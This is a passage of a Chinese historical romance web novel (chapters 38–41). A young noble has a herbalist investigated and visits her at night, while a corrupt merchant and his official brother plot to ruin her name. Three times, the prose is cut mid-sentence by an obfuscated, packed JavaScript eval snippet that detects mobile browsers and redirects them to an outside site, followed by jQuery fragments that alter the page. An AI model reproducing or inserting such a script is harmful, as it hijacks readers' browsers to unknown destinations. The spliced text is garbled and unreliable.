裴宴沉吟片刻，方缓缓道：“去打听一个人。” “请郎主吩咐。” “张记生药铺的许小娘子，许娇杏。”裴宴顿了顿，“从小到大，都要打听清楚。身世，来历，在菰城这几个月做了什么，见过什么人，越细越好。” 长风眼中闪过一丝诧异，却不敢露出分毫，只垂首应道：“是。” “去吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222049|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裴宴摆摆手，“小心些，莫要惊动旁人。” 长风躬身退下，房门轻轻合上。 屋内又恢复寂静。裴宴重新端起茶盏，看着杯中沉浮的茶叶，眼神深晦难明。 他也不知自己为何要查她。或许是因为好奇，好奇这样一个女子，是如何长成这般模样。或许是因为……那一丝说不清道不明的牵念。 他想起离京前，姐姐裴贵妃召他入宫说的那番话。 “宴儿，你年岁也不小了。京中适龄的贵女不少，父亲的意思，是想在沈家表姊妹中为你择一良配。沈家是外祖家，知根知底，如今，沈家表妹昭宁和婉宁已定了人家，其余几个适龄的有大舅舅家的惠宁和三舅舅家福宁。我寻思着二舅舅家的淑宁倒是个好孩子，淑宁那孩子我见过，性情温婉，身子虽弱些，好生调理便是。你此次去菰城，不妨多留意。” 他当时只是沉默。 沈淑宁……确实是标准的世家贵女。温柔，娴静，知书达理，与他门当户对。若娶了她，于家族，于前程，都是最好的选择。 可不知为何，他眼前浮现的，却是另一张脸。 清亮如星的眼，唇角天然噙着的三分笑意，还有那身雨过天青色的素罗衣裙。 裴宴闭了闭眼，将杂念压下。 他是裴家嫡子，肩上担着家族的期望。婚姻大事，从来不由己。那些不该有的心思，还是早些断了的好。 沈淑宁回到沁芳斋时，神色有些恹恹的。 丫鬟芙蕖扶她在临窗的榻上坐下，又端来温着的药。黑褐色的药汁盛在白瓷碗里，热气袅袅，散发出浓郁的苦香。 “娘子趁热喝了吧。”芙蕖轻声道，“许娘子嘱咐过，这药要按时服用才有效。” 沈淑宁接过药碗，蹙着眉，一小口一小口地喝。药很苦，苦得舌根发麻。可她还是乖乖喝完了——这药是许娇娇开的，她信她。 喝完药，丹桂递上蜜饯。沈淑宁拈了一颗含在嘴里，甜味渐渐压过了苦。 “表哥明日就走……”她望着窗外，喃喃道。 芙蕖与丹桂对视一眼，都没接话。 她们是沈淑宁的贴身丫鬟，从小服侍她长大，自然知道娘子的心事。裴家表公子人才出众，家世显赫，与娘子又是表兄妹，在她们看来，确是良配。 可婚姻大事，终究要父母之命、媒妁之言。二夫人管家严厉，最重规矩，若知道娘子私下思慕表公子，怕是要动怒的。 “娘子，”芙蕖斟酌着开口，“表公子回京是正事。如今朝中事务繁忙，裴大人催他回去也是常理。娘子若想见表公子，等日后……” “日后？”沈淑宁苦笑，“他这一走，不知何时再来。便是来了，也不过是客，住上月余便走。”她顿了顿，声音更低，“况且，他的婚事……怕是由不得他。” 这话说得露骨了。芙蕖心头一跳，忙道：“娘子慎言。” 沈淑宁自知失言，不再多说，只望着窗外那丛开得正盛的蔷薇出神。 她想起那年冬日，裴宴来菰城小住。那日下了雪，园子里白茫茫一片。她与几个堂姊妹在暖阁里做针线，裴宴与兄长们在亭子里煮酒赏雪。隔着窗子，她看见他披着玄色大氅，立在亭边看雪，侧脸在雪光里如玉石雕成。 就那么一眼，心里便存下了。 后来在祖母那儿请安时遇见，他礼貌周全，却总是隔着距离。她鼓足勇气与他说几句话，他也只是客气应答，从不多言。 她知道，在他眼里，她大概就是个体弱多病、寡言少语的表妹，与府里其他姊妹并无不同。 “娘子，”丹桂小声劝道，“您如今身子刚好些，莫要思虑过重。许娘子说了，思虑伤脾，于调养不利。” 沈淑宁回过神，轻轻点头：“我知道。” 她伸手抚了抚胸口。许娇娇开的药确实有效，这些日子以来，胸闷气短的症状轻了许多，夜里也能安睡了。只是这心里的郁结，却不是药石能医的。 却说许娇娇，她如今的生活简单而规律。每日清晨起床，与静尘、静心一同收拾屋子、做早饭。饭后去张记铺子，或帮着抓药制药，或在廖大夫、万大夫忙不过来时接诊些简单的病症。傍晚回家，三人一起做饭、吃饭，饭后她研读医书，静尘做针线，静心收拾家务。 平静，充实。 这日她从铺子回来时，天色还早。夕阳将柳枝巷染成一片暖金色，家家户户的烟囱里冒着炊烟，空气里飘着饭菜的香气。 隔壁刘寡妇正在院门口择菜，见她回来，笑着招呼：“许娘子回来了？今日铺子里忙么？” “还好。”许娇娇停下脚步，“刘大娘这是准备做晚饭？” “可不是。”刘寡妇将一把青菜放进篮子里，“我家那小子今日在学堂得了夫子夸奖，我买了两条鱼，给他补补。” 许娇娇笑道：“小虎子聪明，将来定有出息。” 又说了几句闲话，她才回自家院子。 39. 第39章 夜探 静心正在厨房里忙活，见她回来，探出头笑道：“娇杏，今日我买了只鸡，炖了汤。你这些日子辛苦，该补补。” “又破费。”许娇娇摇头，眼里却带着笑，“咱们的日子才刚好些，要省着些花。” “知道知道。”静心吐吐舌头，“这不是看你最近气色不好嘛。” 许娇娇摸摸自己的脸。气色不好么？她倒没觉得。只是这些日子夜里总睡不踏实，常做些乱七八糟的梦，醒来却什么都记不得。 也许真是累了。 她放下药箱，去井边打水洗脸。清凉的井水扑在脸上，精神为之一振。 晚饭时，三人围坐在堂屋的小桌边。一盆鸡汤，一碟清炒菜心，一碟酱瓜，还有白米饭。简单，却温馨。 静尘给许娇娇盛了碗汤：“娇杏，你尝尝，静心炖了一下午呢。” 许娇娇接过，汤色清亮，香气扑鼻。她吹了吹，小心地喝了一口。鲜，醇，带着鸡肉特有的甘甜。 “好喝。”她真心赞道。 静心得意地笑了：“那是，我放了枸杞、红枣，还有你前日带回来的黄芪。最是补气。” 许娇娇心中温暖。这两个师姐，虽不是亲姊妹，却比亲姊妹还亲。她们把所有的关心都给了她，让她在这陌生的菰城，有了家的感觉。 “对了，”静尘忽然道，“今日铺子里来了个奇怪的客人。” “怎么奇怪？” “是个三十来岁的汉子，说是给家中老母亲抓药。铺子里的小二哥按方子抓的，他却问东问西，问这药材是哪来的，炮制了多久，还问铺子里是不是有位许娘子。”静尘蹙着眉，“我问他是谁，他只说是听人说起许娘子医术好，想请去诊病。可我看他那样子，不像正经请大夫的。” 许娇娇心头一跳：“后来呢？” “后来廖大夫回来了，那汉子便不再多问，付了钱就走了。”静尘看着她，眼中带着担忧，“娇杏，我总觉得……那人不对劲。” 许娇娇沉默片刻，轻声道：“师姐别担心。咱们小心些便是。” 话虽如此，她心里却蒙上了一层阴影。 自打那日出诊葫芦巷，她便觉得有人暗中盯着自己。起初以为是错觉，可这些日子，总有些莫名其妙的人来铺子打听她。问的也不像寻常病家，倒像是……探子。 是水仙姑？还是王大官人？ 她放下碗筷，忽然没了胃口。 “娇杏？”静心担心地看着她。 “我没事。”许娇娇挤出笑，“只是有些累了。你们慢慢吃，我回屋歇歇。” 她起身回了自己房间，关上门，在床沿坐下。 窗外天色已暗，最后一抹余晖消失在天际。屋里没有点灯，一片昏暗。 许娇娇抱紧双膝，将脸埋在臂弯里。 她不怕辛苦，不怕清贫，只怕这种被人暗中窥视的感觉。像是一张无形的网，正在慢慢收紧，而她甚至不知道撒网的人是谁。 不行。 她抬起头，眼中闪过坚定的光。 不能这样坐以待毙。她要更快地成长，更快地积累力量。只有自己足够强大，才能保护想保护的人，才能对抗那些藏在暗处的敌人。 她起身点亮油灯，从床底拖出一个小木箱。打开，里头是她这些日子攒下的银钱、仁心堂的契书、沈夫人给的银簪，还有李真人的医书和她的半块玉佩。她将这些东西一样样拿出来，又一样样放回去。 最后，她拿起那半块羊脂玉佩。温润的玉质在灯下泛着柔和的光，上头雕着的缠枝莲纹已经有些模糊了。 这是这一世的爹娘留给她的唯一念想。 许娇娇握紧玉佩，贴在胸口。 清风楼的雅间里，烛火通明。 沈谦沈大郎君做东，邀了沈家几个与裴宴年纪相仿的堂兄弟，为他饯行。席间觥筹交错，劝酒声、说笑声不绝于耳。几个菰城有名的弹唱名伶坐在屏风旁，纤指拨弦，檀口轻启，唱的是时兴的南曲，吴侬软语，缠绵悱恻。 “宴哥儿，这杯你得喝！”一个堂兄举着酒杯，脸已喝得通红，“明日一别，又不知何时能聚。咱们这些兄弟里，就数你最出息，将来封侯拜相，可别忘了咱们！” 裴宴端起酒杯，微微一笑：“兄长言重了。”仰头饮尽。 酒是上好的绍兴黄，入口绵软，后劲却足。一杯接一杯，饶是他酒量不错，此刻也有些微醺。烛光在眼前晃动，弦歌声在耳边萦绕，一切都变得朦胧而不真切。 他望着杯中琥珀色的酒液，思绪飘向远方。 “宴弟？”沈谦见他走神，笑着拍拍他的肩，“可是醉了？” 裴宴回过神，摇头：“还好。” “那就再喝一杯！”另一人又斟满他的酒杯。 这顿饯行宴吃到夜半方散。 裴宴回到沈府客院时，已是子时过半。夜风一吹，酒意更上头，太阳穴突突地跳。他推开房门，屋里黑漆漆的，只有窗外透进来的些许月光。 他没有点灯，径直走到临窗的榻边坐下。 夜很静。远处偶尔传来几声犬吠，更显得这寂静无边无际。 白日里那些喧嚣、那些应酬、那些不得不维持的客套笑容，此刻都褪去了。只剩下这深沉的夜，和心里那股说不清道不明的空落。 他忽然觉得这一切都很没意思。 在京中，他是裴家嫡子，要谨言慎行，要光耀门楣。在菰城，他是沈家外孙，要孝敬长辈，要友爱兄弟。永远戴着面具，永远说着得体的话，做着得体的事。 只有那几次偶遇，那个叫许娇杏的小娘子，看他的眼神里没有其他东西。 她看他，就像看一个普通人。 裴宴抬手揉了揉眉心，酒意混着烦躁，在胸腔里翻涌。他起身，在屋里踱了几步，忽然站定。 长风在外间听见动静，推门进来：“郎君？” 裴宴没应声，径直往外走。 “郎君？”长风急忙跟上，压低声音，“这么晚了，您要去哪儿？” 裴宴还是不答，脚步却不停。长风不敢再多问，只能紧紧跟着。走到院门口时，另一个随从明月也赶了过来，两人交换了个眼色，都从对方眼中看到了疑惑和担忧。 三人一路走到马棚。夜已深，马夫早去歇了，只留一盏气死风灯挂在柱上，昏黄的光晕照着几匹正在打盹的马。 裴宴走到自己的坐骑前——那是一匹通体乌黑的骏马，只在额心有一撮白毛，名唤“踏雪”。他伸手摸了摸马颈，踏雪打了个响鼻，亲昵地蹭了蹭他的手。 “郎君，”长风终于忍不住开口，“这个时候……已经宵禁了。” 裴宴这才回头看了他一眼。月光下，少年的脸一半明一半暗，眼神却亮得惊人：“我知道。” “那您……” “开门。”裴宴简短地道，已经解开了缰绳。 长风与明月对视一眼，都知道劝不住了。这位小爷性子看着沉稳，实则执拗得很，一旦决定了什么事，九头牛都拉不回来。况且，以裴家的权势，就算真犯了宵禁，菰城的巡夜兵丁也不敢拿他怎样。 两人只得打开马棚的门。裴宴翻身上马，动作干净利落，丝毫看不出醉意。 “郎君，去哪儿？”长风也上了马，追上来问。 裴宴沉默了片刻，才吐出三个字：“柳枝巷。” 长风心头一震。柳枝巷……那不是许娘子住的地方么？郎君深夜去那里做什么？ 但他不敢问，只能与明月一左一右护着，三人三骑，悄无声息地出了沈府后门，没入浓浓的夜色中。 柳枝巷。 许娇娇就着一盏油灯，正在写今日的医案。 白日里看了十七八个病人，有风寒咳嗽的，有脾胃不和的，还有一个孩童出疹子。她将每个病人的症状、脉象、用药都仔细记下，又在旁边批注自己的思考和疑惑。 这是前世爷爷教她的法子：“好记性不如烂笔头。诊过的每一个病人，都要记下来，时时翻看，方能温故知新。” 她写得很慢，一笔一划，工工整整。油灯的光晕将她低头的身影投在墙上，随着烛火微微晃动。 屋里很静。隔壁传来静尘和静心均匀的呼吸声——她们早已睡下了。旺财趴在她脚边，也睡得正香，偶尔发出几声轻微的呜咽，像是在做梦。 写完最后一个字，许娇娇放下笔，长长地舒了口气。她起身伸了个懒腰，骨头发出轻微的咯吱声。 窗外，月光正好。 今夜是五月十六，月儿圆得像个银盘，清辉洒满人间。许娇娇走到窗前，本想关窗，却被这月色吸引住了。 她推开窗，夜风立刻涌了进来，带着初夏特有的微凉和草木清香。月光如水，静静地流淌在院子里，将青石板地照得一片银白。墙角那丛月季开了几朵，在月光下变成朦胧的浅粉色，像是笼着一层轻纱。 许娇娇趴在窗台上，仰头望着天上的月亮。 来菰城这些时日。从最初的惶恐不安，到如今的渐渐安定，这条路走得不易。但至少，她们有了栖身之所，她有了学医的机会，生活正在慢慢变好。 只是心里总有一根弦绷着。水仙姑，王大官人，那些暗中窥视的目光……像影子一样，始终跟着她。 她轻轻叹了口气。 就在这时，眼角余光忽然瞥见墙头有什么东西动了一下。 许娇娇心头一紧，猛地转头看去。 月光下，墙头上赫然坐着一个人！ 那人一身深色衣衫，几乎融进夜色里，只有脸被月光照亮——剑眉星目，鼻梁挺直，唇角紧抿，正是裴宴！ 许娇娇吓得魂飞魄散，下意识地就要关窗。 “别怕。”墙头上的人忽然开口，声音低沉，在寂静的夜里格外清晰，“是我。” 话音未落，他已翻身跃下墙头，动作轻捷如燕，落地无声。 许娇娇的手停在窗棂上，惊疑不定地看着他。月光照在他脸上，确实是裴宴没错。可……他怎么会在这里？还是深更半夜， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222050|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翻墙而入？ “裴、裴公子？”她终于找回自己的声音，却因惊吓而微微发颤，“您……您怎么会……” 裴宴站在院子里，离她不过三丈远。月光将他整个人笼在一层银辉里，石青色的衣袍在夜风中轻拂。他看着她，眼神复杂，还有一丝……她看不懂的东西。 “路过。”他简短地道，顿了顿，又补充，“顺便来看看。” 路过？许娇娇简直不敢相信自己的耳朵。柳枝巷在城东，沈府在城西，这路未免顺得太离谱了。更何况，哪有人深更半夜翻墙“路过”别人家的？ 但她不敢质问，只谨慎地道：“公子深夜到访，不知有何要事？我的师姐们已经歇下了，不便招待……” “不必。”裴宴打断她，往前走了一步，“我只是……想问你几句话。” 许娇娇下意识地后退，手紧紧抓着窗棂：“公子请问。” 裴宴看着她戒备的模样，忽然觉得有些可笑。他也不知道自己为什么会来这里，为什么会翻墙进来，为什么会想见她。一切都像是被酒意和冲动驱使着，做了这荒唐的事。 可既然来了，总要问个明白。 “你……”他开口，却发现不知从何问起。问她身世？问她为何学医？问她如何看待自己？ 最后，他问了一个最直接的问题：“你怕我？” 许娇娇一愣，没想到他会问这个。她迟疑片刻，诚实答道：“方才突然看见墙头有人，自然是怕的。但现在知道是公子，便不怕了。” “为何？”裴宴追问，“你不觉得我深夜翻墙，行为不妥么？” “确实不妥。”许娇娇直视他，“但公子既然来了，必有自己的缘由。我相信公子不是那等轻浮孟浪之人。” 这话说得坦荡，也说得巧妙。既点出了他的行为失当，又给了他台阶下。 裴宴沉默地看着她。月光下，她的脸莹白如玉，双眸清亮如星，没有半分矫饰。她不怕他，不是因为他裴家公子的身份，而是因为她相信自己的判断。 这种被纯粹地当作一个人来对待的感觉，让他心头那点烦躁奇异地平复下来。 “你总是这样么？”他忽然问。 “怎样？” “对谁都这般……坦然。”裴宴斟酌着用词，“不卑不亢，不谄不媚。” 许娇娇想了想，轻声道：“我只是觉得，人与人相处，贵在真诚。公子身份尊贵，我不敢高攀，但也不必自轻自贱。医者眼中，只有病人，没有贵贱。” 这话若是别人说，难免有故作清高之嫌。可从她口中说出来，却自然得很，仿佛天经地义。 裴宴久久不语。 夜风拂过，带来远处隐约的打更声——三更天了。 他该走了。 “今日唐突了。”裴宴终于开口，声音比来时温和了些，“明日我便回京，此去……不知何时再来菰城。” 许娇娇不知他为何要与自己说这些，只礼貌地道：“公子一路顺风。” 裴宴点点头，转身欲走，却又停住。他从怀中取出一个小小的锦囊，放在窗台上：“这个……算是赔礼。深夜惊扰，实在不该。” 说罢，不等许娇娇反应，他已纵身跃上墙头，几个起落便消失在夜色中。 许娇娇愣愣地看着空荡荡的墙头，又看看窗台上那个深蓝色的锦囊，半晌没回过神来。 今晚的一切，都像一场梦。 她伸手拿起锦囊。布料是上好的杭绸，绣着暗纹，入手沉甸甸的。她打开一看，里面是一块羊脂白玉佩，雕成如意云纹，玉质温润，在月光下泛着柔和的光。 这玉佩……太贵重了。 许娇娇蹙起眉。无功不受禄，更何况是这般贵重的东西。她与裴宴不过几面之缘，他为何要送她这个？ 正思忖间，隔壁传来静尘的声音：“娇杏？你怎么还没睡？在和谁说话？” 许娇娇忙将锦囊收起，关上窗：“没事师姐，我刚在背医书，吵到你了？” “没有。”静尘的声音带着睡意，“你也早点歇着，明日还要去铺子呢。” “好。” 屋里重新安静下来。许娇娇吹熄了油灯，躺到床上，手里却还攥着那个锦囊。 月光从窗纸透进来，在地上投下模糊的光影。 她闭上眼，脑海里却浮现出裴宴翻下墙头的那一幕。月光下的少年，眼神复杂难明，像是藏着许多心事。 他究竟为何而来？ 这个问题，恐怕只有他自己知道了。 而此刻，裴宴已回到沈府。长风与明月跟在身后，都不敢说话。 三人将马牵回马棚，默默走回客院。到了门口，裴宴忽然停下脚步，回头看向柳枝巷的方向。 夜色深沉，万籁俱寂。 “长风。”他低声唤道。 “郎君。” “那件事，继续查。”裴宴的声音很轻，却带着不容置疑的坚定，“我要知道她所有的事。” “是。” 40. 第40章 密谋 六月的江南，入了梅雨季，雨便没完没了。 归平县王宅的书房里，窗外的雨声淅淅沥沥，打在芭蕉叶上，噼啪作响。天色阴沉得如同傍晚，其实才过午时。书房里早早点了灯，黄花梨木书案上的烛台燃着两支蜡烛，火苗在穿堂风里微微晃动，将墙上的人影拉得扭曲变形。 王兆贵坐在太师椅上，手里捏着一封刚送到的密信，脸色比窗外的天色还阴沉。 信是菰城庆和堂的钱掌柜写来的，字迹潦草，显是匆忙间写就。信中说，张记生药铺那个叫许娇杏的小娘子，如今竟搭上了沈尚书第门路——沈家那位体弱多病的小娘子，服了她开的方子，身子竟见好了。如今每隔三五日，沈府便会派车接她去复诊，俨然已成了沈府的座上宾。 “砰”的一声，王兆贵将信拍在书案上，震得砚台里的墨汁都溅了出来。 “好个不知天高地厚的贱婢！”他咬着牙，从牙缝里挤出这句话。 站在下首的，是庆和堂在归平县分号的掌柜，姓孙，是个五十来岁的干瘦老头。见王兆贵动怒，他忙躬身道：“大官人息怒。那丫头不过是侥幸……” “侥幸？”王兆贵冷笑，“一次是侥幸，两次三次呢？如今连沈府都请她去诊病，这是什么？这是她在这菰城立住脚了！” 他越想越气。自打水月庵那事出了纰漏，他就没顺心过。水仙姑那蠢货被人拿住把柄，险些连累他。好不容易将人捞出来，想收拾那丫头，却又让她跑了。原以为她一个孤女，在菰城无依无靠，早晚能捏死，谁想她竟有这等本事，不但进了张记生药铺，还在医药鉴别会上出了风头，如今更是攀上了沈府的高枝！ 沈府是什么人家？那是致仕的老侯爷坐镇，大郎君在京中任户部侍郎，真正的钟鸣鼎食之家。莫说在菰城，就是在整个江南道，也是跺跺脚地面都要震三震的存在。 那丫头若真得了沈府庇护，再想动她，可就难了。 “赵掌柜他们怎么说？”王兆贵压着火气问。 孙掌柜擦了擦额角的汗：“赵掌柜的意思，如今沈府正看重那丫头，若此时动手，恐怕会惹麻烦。不如……再等等。” “等等？等到什么时候？”王兆贵眯起眼，“等到她在菰城扎根，等到她羽翼丰满，等到她反过来咬我们一口？” 孙掌柜不敢接话，只垂着头。 书房里一时寂静，只有窗外的雨声，绵绵不绝。 正这时，外头传来脚步声。管家在门外禀报：“大官人，二老爷从菰城回来了，已到前厅。” 王兆贵眉头一挑：“二弟？快请进来。” 片刻，门帘掀起，一个四十来岁的中年男子走了进来。他穿着靛青色的官服，虽只是八品文官的样式，料子却极好，裁剪也得体。面容与王兆贵有五六分相似，只是更清瘦些，眼神也更精明，透着一股子官场上历练出来的圆滑。 这便是王兆贵的胞弟，王兆仁。如今在菰城府衙任司户参军，掌管一府户籍、田宅、道路等事，虽只是个八品小官，却是个实权在握的肥缺。 “大哥。”王兆仁拱手，又看向孙掌柜，“孙掌柜也在。” 孙掌柜忙行礼：“二老爷安好。” 王兆贵摆摆手，孙掌柜识趣地退了出去，带上房门。 “坐。”王兆贵指了指对面的椅子，“这次回来，能住几日？” “三四日吧。”王兆仁坐下，接过丫鬟奉上的茶，“衙门里事多，不好久离。”他喝了口茶，看向兄长，“方才进来时，见大哥面色不豫，可是有什么烦心事？” 王兆贵将桌上那封信推过去：“你看看。” 王兆仁拿起信，快速扫了一遍，眉头微皱：“许娇杏……这名字有些耳熟。” “就是水月庵那事里，坏了我们好事的那个丫头。” 王兆仁恍然：“是她。”他放下信，沉吟道，“这倒棘手了。沈府……可不是寻常人家。” “正是如此。”王兆贵咬牙，“本想设个局，让她身败名裂，可如今她有了沈府这层关系，再动手，怕是要惹麻烦。” 王兆仁捻着胡须，半晌不语。烛火在他脸上跳跃，映得他眼神明暗不定。 “大哥想如何处置？”他问。 “自然是不能留。”王兆贵眼中闪过狠厉，“这丫头知道太多，又与我们结了仇，留着她，终是祸患。只是……如今动不得。” 王兆仁点点头，忽然道：“大哥可知，沈府为何会请她诊病？” “说是沈家那位小姐体弱，服了她的方子见好。” “这便是了。”王兆仁笑了笑，“沈淑宁那丫头我见过，确实是个药罐子。沈府这些年不知请了多少名医，都未见大效。如今这许娇杏能让她好转，想来医术确有独到之处。”他顿了顿，看向兄长，“大哥想要对付她，无非是让她行医出错，或是让她开错药吃出人命。可若她的医术当真高明，这法子便难了。” 王兆贵脸色更难看了：“难道就这么算了？” “自然不能。”王兆仁慢条斯理地喝了口茶，“只是需从长计议。沈府这层关系，确实是个麻烦，但也不是无解。” “你有法子？” 王兆仁没有直接回答，而是问：“大哥可知，沈府如今在菰城，最在意的是什么？” 王兆贵想了想：“沈老侯爷致仕荣归，最在意的该是家族清誉。沈翊在京中为官，也需要个好名声。” “正是。”王兆仁放下茶盏，“沈家这样的门第，最重名声。若那许娇杏牵扯进什么不干净的事，或是她的名声坏了，沈府为了自家清誉，必定会与她划清界限。到那时，再动手，便容易多了。” 王兆贵眼睛一亮：“你是说……” “寻个由头，给她泼些脏水。”王兆仁淡淡道，“比如说她行医不端，或是与什么不三不四的人有染。这种事，不需真凭实据，只要风声传出去，沈府为了避嫌，便不会再与她来往。” 王兆贵抚掌：“妙！只是……这脏水要如何泼？” “这便需仔细谋划了。”王兆仁沉吟，“最好是能寻个与医药行当有关的由头。比如……她开的药吃坏了人，或是她炮制的药材有问题。医药行当最重信誉，一旦出事，便再无翻身之日。” 兄弟二人又商议了一阵，王兆贵心头那口恶气总算顺了些。 正事说完，王兆贵才想起问：“你这次回来，能住三四日，可是衙门里有什么事？” 王兆仁笑道：“确有一桩事。”他压低了声音，“我干爹那边，有一批货要走，需从归平县码头过。” 王兆贵心头一动：“崔公公的货？” “正是。” 提到“崔公公”三个字，书房里的气氛陡然变了。 王兆贵坐直了身子，神色恭敬了许多：“崔公公要运什么货？需我们做什么？” 王兆仁的干爹崔琰，乃是江南路发运使，正儿八经的四品大员。发运使掌管一路漕运、茶盐等事务，权柄极大。更关键的是，崔琰是个太监。 太监在宫中伺候贵人，外放为官的本就不多，能做到发运使这般实权位置的，更是凤毛麟角。崔琰此人，手段了得，在江南经营多年，门生故旧遍布，便是江南路的安抚使、转运使，也要给他几分面子。 王兆仁能拜在崔琰门下，说来也是机缘。 五年前，崔琰巡视漕运至菰城，在码头上遇刺。当时王兆仁只是个小小的书吏，恰好在场，危急关头替崔琰挡了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17222051|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一剑。那一剑刺在肩上，伤得不轻，却让崔琰记住了这个“忠心护主”的小吏。伤愈后，王兆仁便认了崔琰做干爹，自此平步青云，短短五年，从个不入流的小吏做到了八品司户参军。 “不是什么要紧的东西。”王兆仁说得轻描淡写，“只是一批江南的特产，要运往京中。干爹在宫里有些关系，需要打点。” 话说得含糊，王兆贵却听懂了。所谓“江南特产”，恐怕不是什么茶叶丝绸，而是更值钱的玩意儿。崔琰在江南多年，搜刮的珍宝无数，需定期运往京中，打点宫中的贵人。这种事，自然要走稳妥的路线。 归平县码头虽不算大，却是个要紧的转运节点。从此处入太湖，经运河北上，可直达京畿。且归平县是王家的地盘，在此处转运，最是安全。 “这事好办。”王兆贵当即道，“码头上都是咱们的人，保管稳妥。何时运？需多少船？我这就去安排。” “不急。”王兆仁摆摆手，“货还在路上，约莫七八日后到。到时我会派人来知会。”他顿了顿，看向兄长，“大哥在归平县，是横着走的人物，这事交给你，我最放心。” 王兆贵脸上露出得意之色。他虽只是个捐来的承议郎，并无实权，可在归平县这一亩三分地，确实说得上话。县衙里的官吏，码头的帮派，都要给他面子。 “你放心，保管办得妥妥当当。”他拍着胸脯保证。 正事说完，兄弟二人又说起闲话。王兆仁问起家中近况，王兆贵一一说了，说到水仙姑时，只含糊道：“那女人不省心，前阵子惹了些麻烦，我已让她安分些。” 王兆仁何等精明，一听便知有事。他盯着兄长：“大哥，你我兄弟，有什么话不能直说？那水仙姑……可是又惹了什么祸？” 王兆贵犹豫片刻，终究还是将水月庵的事简略说了。当然，隐去了许多细节，只说水仙姑行事不密，被人拿住把柄，险些牵连到他。 王兆仁听完，眉头紧锁：“大哥，不是我说你。那水仙姑虽有些姿色，可终究是个不安分的。你与她往来，本就犯险，如今还让她掺和进那些事里……”他摇摇头，“要我说，早些断了为好。” “我何尝不知。”王兆贵叹气，“只是如今断不了。她知道太多，若逼急了，反咬一口，大家都不好看。” 王兆仁端起茶盏吃了一口茶，道：“大哥糊涂，一个女人，怎能让她左右，找个合适的时候，王兆仁做了个闭口的动作，王兆贵点头，“放心吧！我会在适当的时候让她闭嘴的。” “行事当心些，别让人抓到把柄。”王兆仁顿了顿，又道，“至于那个许娇杏……大哥不必太过忧心。一个女子，再有本事，能翻起什么浪？如今她虽攀上了沈府，可沈府那样的门第，最是看重名声。只要让她沾上些不干净的事，沈府自会与她撇清关系。到那时，要收拾她，易如反掌。” 这话说得笃定，王兆贵心里踏实了许多。 兄弟二人又说了会儿话，王兆仁便起身告辞，说要回房歇息。他这次回来，只带了一个贴身小厮，轻车简从，显是不想引人注目。 送走弟弟，王兆贵独自坐在书房里，看着窗外的雨，眼神阴鸷。 许娇杏…… 他念着这个名字，像是要将它嚼碎了吞下去。 攀上了沈府又如何？他王兆贵在归平县经营多年，岂会怕一个黄毛丫头？待崔公公的货顺利运走，他得了干爹的赏识，便是沈府，也要给他几分薄面。 到那时，再收拾那贱婢，看谁还能护着她！ 雨下得更大了。屋檐下的水帘连成一片，哗哗作响，将书房里最后一点天光也吞没了。 烛火跳动，将王兆贵脸上的阴影拉得忽长忽短，如同鬼魅。 41. 第41章 回京 通往京城的官道，路两边绿树成荫的景象逐渐淡去，变成了一望无际的原野，当远处低矮的人家冒着炊烟时，裴宴一行轻车简从，不过七八日便到了京畿。车马从南薰门入城时，正是午后，日头白晃晃地悬在天顶，将青石板路晒得发烫。街上行人不多，偶有挑担的小贩躲在檐下阴凉处歇脚，狗儿趴在巷口吐着舌头。 国公府坐落在城东的崇仁坊，紧挨着皇城。这一片多是开国勋贵的宅邸，朱门高墙，鳞次栉比，连空气中都弥漫着权势与财富沉淀下来的厚重气息。 裴家的国公府是先帝赐下的宅子，占地极广，五进的大院，门前一对石狮威猛雄健，据说还是当年太祖皇帝钦点的样式。府邸东侧紧邻着长公主府，西边隔着条e巷子便是户部尚书的宅子，往北一圈，皆是朝中一二品大员的府邸裴宴在府门前下了马，风尘仆仆。守门的小厮远远看见，忙不迭地跑进去通报。不过片刻，管家裴忠便迎了出来，脸上堆着笑：“公子回来了！老夫人从昨儿个就念叨，可算把您盼回来了。” “忠叔。”裴宴微微颔首，将马缰递给迎上来的马夫，“祖母身子可好？” “好，好着呢！就是惦记您。”裴忠一边引着往里走，一边絮絮地说着府里近况，“老爷前日被召进宫议事，到今儿还没回府。 裴宴听着，脚步不停，径直往内院去。 穿过垂花门，绕过影壁，便是老夫人居住的寿安堂。院子里种着几株老石榴，这时节花开得正盛，红艳艳的像一团团火。廊下挂着几只鸟笼，画眉在里头婉转地啼。 丫鬟早通报进去，裴宴刚踏上台阶，帘子便掀开了。裴老夫人扶着丫鬟的手站在门内，满头银发梳得一丝不乱，穿着沉香色绣福寿纹的褙子，眼巴巴地望着门口。 “祖母。”裴宴快步上前，在阶前便撩袍跪下，“孙儿给祖母请安。” 